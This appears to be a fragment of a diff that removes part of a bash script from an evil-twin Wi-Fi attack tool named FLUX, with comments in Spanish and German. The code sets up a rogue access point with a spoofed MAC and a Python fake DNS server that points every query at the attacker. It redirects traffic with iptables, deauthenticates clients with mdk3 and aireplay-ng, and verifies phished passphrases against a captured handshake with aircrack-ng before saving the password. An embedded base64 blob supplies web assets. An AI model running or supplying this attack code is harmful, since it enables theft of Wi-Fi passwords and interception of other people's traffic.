-\".jpg\" => \"image/jpeg\", -\".png\" => \"image/png\", -\".css\" => \"text/css\" -) - - -server.error-handler-404 = \"/\" - -static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) -index-file.names = ( \"index.htm\" ) -" >$DUMP_PATH/lighttpd.conf - -# DNS das alle Anfragen zum Angreifer weiterleitet -echo "import socket - -class DNSQuery: - def __init__(self, data): - self.data=data - self.dominio='' - - tipo = (ord(data[2]) >> 3) & 15 # 4bits de tipo de consulta - if tipo == 0: # Standard query - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) - - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Anzahl preg y respuestas - packet+=self.data[12:] # Nombre de dominio original - packet+='\xc0\x0c' # Puntero al nombre de dominio - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Tipo respuesta, ttl, etc - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # La ip en hex - return packet - -if __name__ == '__main__': - ip='$IP' - print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip - - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) - - try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Respuesta: %s -> %s' % (p.dominio, ip) - except KeyboardInterrupt: - print 'Finalizando' - udps.close() -" >$DUMP_PATH/fakedns -chmod +x $DUMP_PATH/fakedns - -} - -# DHCP / WEB -function routear { - - ifconfig $interfaceroutear up - ifconfig $interfaceroutear $IP netmask 255.255.255.0 - - route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward - - iptables --flush - iptables --table nat --flush - iptables --ete-chain - iptables --table nat --ete-chain - iptables -P FORWARD ACCEPT - - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A POSTROUTING -j MASQUERAde -} - -# Angriff -function attack { - - if [ "$fakeapmode" = "hostapd" ]; then - interfaceroutear=$WIFI - elif [ "$fakeapmode" = "airbase-ng" ]; then - interfaceroutear=at0 - fi - - handshakecheck - nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) - - if [ "$fakeapmode" = "hostapd" ]; then - - ifconfig $WIFI down - sleep 0.4 - macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device - sleep 0.4 - ifconfig $WIFI up - sleep 0.4 - fi - - - if [ $fakeapmode = "hostapd" ]; then - killall hostapd &> $flux_output_device - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & - elif [ $fakeapmode = "airbase-ng" ]; then - killall airbase-ng &> $flux_output_device - xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & - fi - sleep 5 - - routear & - sleep 3 - - - killall dhcpd &> $flux_output_device - xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & - killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & - - killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device - - killall aireplay-ng &> $flux_output_device - killall mdk3 &> $flux_output_device - echo "$(cat $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "desautentificando con mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - - xterm -hold $TOPRIGHT -title "Warte auf Passwort" -e $DUMP_PATH/handcheck & - conditional_clear - - while true; do - mostrarheader - - echo "Ataque en curso..." - echo " " - echo " 1) Wählen sie ein anderes Netzwerk" - echo " 2) Beenden" - echo " " - echo -n ' #> ' - read yn - case $yn in - 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; - 2 ) matartodo; exitmode; break;; - * ) echo "Unbekannte Option. Wählen Sie wieder"; conditional_clear ;; - esac - done - -} - -# Überprüft handshake -function handshakecheck { - - echo "#!/bin/bash - - echo > $DUMP_PATH/data.txt - echo -n \"0\"> $DUMP_PATH/hit.txt - echo "" >$DUMP_PATH/loggg - - tput civis - clear - - minutos=0 - horas=0 - i=0 - - while true; do - - segundos=\$i - dias=\`expr \$segundos / 86400\` - segundos=\`expr \$segundos % 86400\` - horas=\`expr \$segundos / 3600\` - segundos=\`expr \$segundos % 3600\` - minutos=\`expr \$segundos / 60\` - segundos=\`expr \$segundos % 60\` - - if [ \"\$segundos\" -le 9 ]; then - is=\"0\" - else - is= - fi - - if [ \"\$minutos\" -le 9 ]; then - im=\"0\" - else - im= - fi - - if [ \"\$horas\" -le 9 ]; then - ih=\"0\" - else - ih= - fi">>$DUMP_PATH/handcheck - - if [ $authmode = "handshake" ]; then - echo "if [ -f $DUMP_PATH/intento ]; then - - if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo " - wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & - wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & - - if [ -f $DUMP_PATH/intento ]; then - - if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi - ">>$DUMP_PATH/handcheck - fi - - echo "readarray -t CLIENTESDHCP < <(cat $DUMP_PATH/clientes.txt | grep \"DHCPACK on\"| awk '!x[\$0]++' ) - - echo - echo -e \" PUNTO de ACCESO:\" - echo -e \" Nombre..........: "$weis"$Host_SSID"$transparent"\" - echo -e \" MAC.............: "$gelb"$Host_MAC"$transparent"\" - echo -e \" Canal...........: "$weis"$Host_CHAN"$transparent"\" - echo -e \" Fabricante......: "$gruen"$Host_MAC_MO"$transparent"\" - echo -e \" Tiempo activo...: "$grau "\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" - echo -e \" Intentos........: "$rot"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" - echo -e \" Clientes........: "$blau"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '!x[\$0]++' | wc -l)"$transparent"\" - echo - echo -e \" CLIENTES:\" - - x=0 - for line in \"\${CLIENTESDHCP[@]}\"; do - x=\$((\$x+1)) - echo -e \" "$gruen"\$x) "$rot"\$(echo \$line| cut -d \" \" -f 3) "$gelb"\$(echo \$line| cut -d \" \" -f 5) "$gruen"\$(echo \$line| cut -d \" \" -f 6)"$transparent"\" - done - - echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "let i=\$i+1 - sleep 1">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "sleep 5 - - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - let i=\$i+5">>$DUMP_PATH/handcheck - fi - - echo "done - clear - echo \"1\" > $DUMP_PATH/status.txt - - sleep 7 - - killall mdk3 &>$flux_output_device - killall aireplay-ng &>$flux_output_device - killall airbase-ng &>$flux_output_device - kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - - echo \" - FLUX $version by deltax - - SSID: $Host_SSID - BSSID: $Host_MAC ($Host_MAC_MO) - Channel: $Host_CHAN - Security: $Host_ENC - Time: \$ih\$horas:\$im\$minutos:\$is\$segundos - Password: \$(cat $DUMP_PATH/data.txt) - \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$rot"$HOME/$Host_SSID-password.txt"$transparent"\" - ">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "echo -e \"Se ha guardado en "$rot"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck - fi - - echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck - chmod +x $DUMP_PATH/handcheck -} - - -############################################# < Angriff > ############################################ - - - -# deauth all -function deauthall { - - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $deAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & -} - -function deauthmdk3 { - - echo "$Host_MAC" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - mdk3PID=$! - sleep 15 - kill $mdk3PID &>$flux_output_device -} - -# deauth einen bestimmtes opfer -function deauthesp { - - sleep 2 - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "desautenticando a $Client_MAC" -e aireplay-ng -0 $deAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & -} - -# Schließt alle Prozesse -function matartodo { - - killall aireplay-ng &>$flux_output_device - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall xterm &>$flux_output_device - -} - - - -######################################### < INTERFACES WEB > ######################################## - -# Erstellt Inhalte für die WEB GUI -function NEUTRA { - - if [ ! -d $DUMP_PATH/data ]; then - mkdir $DUMP_PATH/data - fi - -echo "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 